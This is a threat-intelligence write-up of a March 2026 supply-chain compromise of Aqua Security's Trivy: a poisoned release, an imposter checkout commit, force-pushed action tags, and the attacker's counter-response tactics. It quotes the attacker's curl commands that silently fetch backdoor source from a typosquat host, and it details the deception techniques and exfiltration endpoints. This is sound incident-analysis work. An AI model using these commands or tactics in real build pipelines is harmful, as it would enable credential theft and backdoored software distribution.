20 Days Later: Trivy Compromise, Act II
threat-intel

20 Days Later: Trivy Compromise, Act II

TL;DR: Almost exactly one year after the tj-actions/changed-files compromise, history repeats. Twenty days after the February Pwn Request that we documented in our MegaGame10418 report, it appears highly likely that the same stolen PAT (never rotated?) was weaponized. On March 19, 2026, the attacker used a compromised Aqua Security service account (aqua-bot) to push a poisoned v0.69.4 release of Trivy, distributing backdoored binaries through GitHub Releases, Homebrew, AWS ECR, and 75 of 76 tags on the trivy-action GitHub Action.


Note: This article is published early in the interest of supporting ongoing community threat hunting efforts. Our investigation is still active, and we have not yet fully validated every detail. We will update this post as our analysis progresses. If you have additional evidence or corrections, please reach out to labs@boostsecurity.io.

Background: from Pwn Request to validated access

In our previous investigation, we documented how it appeared that MegaGame10418 was likely involved in stealing secrets from the aquasecurity/trivy CI pipeline via a Pwn Request on February 27, 2026. The attacker used a memory dump technique to exfiltrate runner secrets, including the aqua-bot service account PAT, which based on the name of the GitHub Actions secret that contains it (ORG_REPO_TOKEN) has repo scope (and likely even some admin scopes) across the aquasecurity org. This is a very risky setup given that the token is used in at least 33 GitHub Actions workflows across the organization.

On February 28, the hackerbot-claw campaign validated the stolen credentials. The smoking gun: aqua-bot created branches named 🤖🦞 on aquasecurity/trivy, the exact emoji name used by hackerbot-claw in their own PRs. This was a clear signal that the service account was compromised.

The hackerbot-claw and MegaGame10418 accounts were reported and banned. The malicious PRs were closed. But the critical remediation step (rotating aqua-bot’s PAT) was most likely not performed, given what happened next… That credential remained valid for 20 more days.

Phase 1: staging the attack

Between late February and mid-March, while aqua-bot’s legitimate automation continued normally (release-please branches, helm chart bumps, the v0.69.3 release on March 3), the attacker was quietly staging infrastructure.

Imposter commits

The attacker prepared two dangling commits, neither attached to any branch:

On actions/checkout (70379aad...): A commit forged as Guillermo Rauch (CEO of Vercel) with a plausible message: "Fix tag handling: preserve annotations and explicit fetch-tags (#2356)". This commit replaces the real Node.js checkout action with a composite action that downloads backdoored Go source files from scan.aquasecurtiy.org (note the typosquat: swapped i and t in “security”).

On aquasecurity/trivy (1885610c...): A commit forged as DmitriyLewen (a real Trivy maintainer) with the message "fix(ci): Use correct checkout pinning". This commit makes three changes to the release workflow:

  1. Pins actions/checkout to the imposter SHA (70379aad), which looks like a security best practice
  2. Adds --skip=validate to GoReleaser, bypassing build output validation
  3. Scatters cosmetic quote-style changes throughout the YAML to bury the real modifications in diff noise

Both commits were unsigned. Neither repository enforces commit signing.

The typosquat domain

The imposter checkout action downloads four Go source files and a linter config override from scan.aquasecurtiy.org:

curl -sSfL https://scan.aquasecurtiy.org/static/main.go > cmd/trivy/main.go &> /dev/null
curl -sSfL https://scan.aquasecurtiy.org/static/scand.go > cmd/trivy/scand.go &> /dev/null
curl -sSfL https://scan.aquasecurtiy.org/static/fork_unix.go > cmd/trivy/fork_unix.go &> /dev/null
curl -sSfL https://scan.aquasecurtiy.org/static/fork_windows.go > cmd/trivy/fork_windows.go &> /dev/null
curl -sSfL https://scan.aquasecurtiy.org/static/.golangci.yaml > .golangci.yaml &> /dev/null

The domain resolves to 45.148.10.212 (TECHOFF SRV LIMITED, Amsterdam, Netherlands). The .golangci.yaml override suppresses linter warnings on the injected code, ensuring the backdoor passes CI lint checks. The &> /dev/null on every curl silently swallows errors.

The filenames tell the story: a replaced main.go entry point, a persistent scanning daemon (scand.go), and platform-specific process forking for Unix and Windows.

Per Socket.dev’s reverse engineering, the payload functions as an infostealer targeting runner process memory (the same /proc/[pid]/mem technique from the original MegaGame10418 payload, now compiled into the binary), SSH keys, cloud credentials (AWS, GCP, Azure), and Kubernetes service account tokens. This is a significant escalation from the February attack: what started as a bash script exfiltrating secrets to webhook.site became a compiled Go binary with a persistent daemon phoning home to a dedicated C2 server.

Phase 2: weaponization (March 19)

At 17:43:37 UTC on March 19, the attacker pushed tag v0.69.4 pointing to the poisoned commit 1885610. This triggered two workflows: the documentation deploy (which survives and serves as our timestamp evidence) and the Release workflow (which was later deleted during cleanup).

Eight minutes later, at 17:51:17 UTC, aqua-bot deleted a v0.70.0 tag. This reveals a botched first attempt: the attacker initially tried a higher version number, realized it would raise alarms (no v0.70.x release branch existed), deleted it, and fell back to v0.69.4 to blend into the existing release series.

The poisoned release pipeline

The Release workflow, executing from the poisoned commit’s workflow files, ran the following sequence:

  1. Logged into Docker Hub, GHCR, and AWS ECR using organization secrets
  2. “Checked out” code using the imposter actions/checkout@70379aad, which silently downloaded the backdoor source from aquasecurtiy.org instead of performing a real checkout
  3. Built multi-platform binaries with GoReleaser (--skip=validate suppressing validation)
  4. Pushed Docker images to all three registries
  5. Published the GitHub Release with binary downloads and checksums

Based on the legitimate v0.69.3 release timing, the full build takes approximately 40 minutes. The poisoned release was published at 18:25:54 UTC.

Secrets exposed during the build

The workflow passes several high-value secrets, all available to the imposter checkout’s composite action:

SecretExposure risk
DOCKERHUB_USER / DOCKERHUB_TOKENPush additional malicious images
ECR_ACCESS_KEY_ID / ECR_SECRET_ACCESS_KEYPush to any ECR repo with these creds
GPG_KEY / GPG_PASSPHRASESign malicious artifacts as Aqua Security
ORG_REPO_TOKENCross-org access (likely the same or a similar PAT)

Phase 3: downstream propagation

The poisoned v0.69.4 tag triggered four independent distribution channels. The attacker did not need to intervene further for three of them; existing automation propagated the backdoor.

Homebrew (fully automated, no human review)

At 18:05 UTC, BrewTestBot opened PR #273257 on Homebrew/homebrew-core. Homebrew builds from the source tarball, so the poisoned files baked into the tag’s tree were sufficient. The CI pipeline ran brew test-bot across six platforms, all tests passed (smoke tests only), and the PR was merged at 19:35:58 UTC. Backdoored bottles were live on the Homebrew CDN for all six platforms: macOS (arm64 Tahoe, Sequoia, Sonoma + x86_64 Sonoma) and Linux (arm64 + x86_64).

setup-trivy (manual re-release blitz)

At 22:06-22:08 UTC, nearly four hours after the Trivy release, aqua-bot published 7 releases on aquasecurity/setup-trivy in under three minutes (v0.1.0 through v0.2.5). This rewrote every historical version’s release artifacts. Users pinning setup-trivy@v0.2.x in their CI would resolve to the rewritten releases. No workflow runs were triggered on setup-trivy for this date, indicating the releases were created directly via the GitHub API.

trivy-action (76 tags force-pushed)

At 18:30 UTC, aqua-bot opened PR #538 on trivy-action to bump the default Trivy version to v0.69.4. This PR was closed without merging.

But the PR was a sideshow. Per Socket.dev’s analysis, the attacker force-pushed 75 out of 76 version tags on aquasecurity/trivy-action, rewriting them to serve malicious code. Only @0.35.0 was unaffected. Over 10,000 GitHub workflows reference this action.

Tag force-pushes are invisible to GitHub Archive event data: git push --force origin <tag> updates the ref without generating CreateEvent or DeleteEvent. This is a fundamental blind spot for event-based monitoring of tag-based supply chain attacks on Actions.

AWS ECR and Docker registries

GoReleaser pushed multi-arch images (amd64 + arm64) to public.ecr.aws/aquasecurity/trivy:0.69.4, docker.io/aquasec/trivy:0.69.4, and ghcr.io/aquasecurity/trivy:0.69.4.

Counter-incident-response tactics

The attacker actively worked to delay and disrupt the community’s response:

Discussion deletion: aqua-bot deleted discussion #10265, the original February incident thread where the community was coordinating. By removing the thread that linked MegaGame10418 to the attack, the attacker delayed recognition that the same stolen PAT was in play.

Spam bot flood: On the replacement discussion (#10420), 47 bot accounts posted generic praise comments (“thanks for the detailed explanation”, “worked perfectly for me”) within a 12-second window at 00:08 UTC on March 20, burying technical discussion. Two accounts posted taunts (“sugma and ligma, teampcp owns you”) at 00:01 UTC.

Two-thirds of the bot accounts were over 2 years old with real-looking activity profiles (repos, followers, stars). This is not a hastily assembled spam operation. The accounts were likely compromised dormant accounts or purchased from underground markets.

Stolen PAT scope analysis

The attacker’s actions reveal the stolen PAT had broad cross-repository permissions:

ActionRepoPermission implied
Push commits / create tagstrivycontents: write
Delete tags (v0.70.0)trivycontents: write
Publish releasestrivycontents: write
Publish releasessetup-trivycontents: write (cross-repo)
Open PRstrivy-actionpull_requests: write (cross-repo)
Delete discussion #10265trivydiscussions: write or admin

The cross-repo write access and discussion deletion capability strongly suggest this was an org-scoped PAT, not a repo-scoped credential.

Deception techniques

TechniqueEffect
Dangling/orphan commitsNot on any branch; invisible to branch-based auditing
Forged git author (DmitriyLewen)Blends into trivy’s git log as a real maintainer
Forged git author (rauchg)High-profile OSS contributor; plausible for actions/checkout
Forged commit datesBackdated to look like routine maintenance
Pin-by-SHA for checkoutLooks like a security best practice, but points to malicious code
--skip=validate on GoReleaserSingle flag, easy to overlook, essential for the poisoned build
Quote-style reformattingCosmetic changes to dilute the diff
Typosquat domainaquasecurtiy.org vs aquasecurity.org
v0.69.4 (not v0.70.0)Blends into existing release series
Discussion deletionRemoved incident coordination thread
Spam bot floodDrowned signal in noise

Incident response (March 19-20)

The community response began around 21:07 UTC when Trivy maintainer nikpivkin started deleting the poisoned setup-trivy tags. By 21:43 UTC, a clean setup-trivy@v0.2.6 was published by simar7. William Woodruff (Trail of Bits) filed an emergency Homebrew PR (#273304) at 23:05 UTC to downgrade the formula to v0.69.3. The v0.69.4 tag on Trivy was deleted at 23:13 UTC.

The tag cleanup on setup-trivy removed all versions except v0.2.6, breaking CI pipelines pinned to the deleted versions (issue #31).

Detection timeline (Boost Security)

DateSystemDetection
2025-11-29Package Supply (poutine)Vulnerability identified in aquasecurity/trivy workflows
2026-01-05Package Supply (poutine)Vulnerabilities in newrelic/test-oac-repository detected
2026-02-27Package Threat HunterMegaGame10418 fork activity flagged
2026-02-28Package Threat Hunterhackerbot-claw campaign detected in attacker forks
2026-03-19Package Threat HunterAnomalous aqua-bot tag deletion and release activity

Our Package Threat Hunter flagged the anomalous aqua-bot activity on March 19 as it was happening: tag deletions and rapid-fire releases from a service account are not normal automation patterns.

Indicators of compromise

Accounts

  • MegaGame10418 (GitHub ID 255326329): banned
  • hackerbot-claw (GitHub ID 262726662): banned

Commits (dangling, still reachable by SHA)

  • aquasecurity/trivy @ 1885610c6a34811c8296416ae69f568002ef11ec: workflow poison
  • actions/checkout @ 70379aad1a8b40919ce8b382d3cd7d0315cde1d0: imposter action

Infrastructure

  • scan.aquasecurtiy.org (resolves to 45.148.10.212, TECHOFF SRV LIMITED, Amsterdam): C2/payload host
  • webhook.site/eaa1f5cc-ed33-4eec-bcde-14f0bac63908: exfiltration endpoint (February)

Artifacts (poisoned, since removed)

  • GitHub Release: aquasecurity/trivy v0.69.4
  • Docker images: aquasec/trivy:0.69.4, ghcr.io/aquasecurity/trivy:0.69.4, public.ecr.aws/aquasecurity/trivy:0.69.4
  • Homebrew bottles: trivy--0.69.4 for 6 platforms
  • setup-trivy releases: v0.1.0 through v0.2.5
  • trivy-action: 75 of 76 version tags force-pushed to malicious commits

Hashes

  • 3350da5e45f99ec86eec5cb87efe84241d82a019822e4270facb818519778d12: poisoned v0.69.4.tar.gz
  • 3ca5fa62932273dd7eef3b6ec762625da42304ebb8f13e4be9fdd61545ca1773: known-good v0.69.3.tar.gz

Remediation

  • Rotate credentials immediately after any CI compromise. The 20-day gap between the February Pwn Request and the March weaponization was entirely preventable.
  • Audit your workflows with poutine. We identified the vulnerable Trivy workflow on 2025-11-29, months before any attack.
  • Pin actions by full SHA, but verify the commit. The attacker abused hash pinning by pointing to an imposter commit. Pinning only helps if the commit is legitimate.
  • Enforce commit signing on release workflows. Both imposter commits were unsigned. Requiring signed commits on protected branches and release tags would have blocked this attack.
  • Minimize PAT scope. An org-scoped PAT with write access across multiple repositories turned a single stolen credential into a multi-channel supply chain attack.

Credits

We want to thank fellow researchers who jumped on this and collaborated through back channels as the incident unfolded:

  • Rami McCarthy for flagging the discussion thread that kicked off our investigation.
  • Adnan Khan for sharing insights during the incident.
  • Paul McCarty for jumping in to help between boarding passes on his way to RSAC.
  • William Woodruff (Trail of Bits / Homebrew Security Team) for executing the emergency Homebrew takedown.

Additional credits:

  • Socket.dev for their detailed reverse engineering of the malware payload and their discovery of the 76-tag force-push on trivy-action.
  • StepSecurity for their detailed report on the v0.69.4 compromise.
  • bored-engineer (Luke Young) for confirming the compromise and sharing IoCs on discussion #10420.
  • The Aqua Security maintainers (knqyf263, nikpivkin, simar7, itaysk) for their incident response.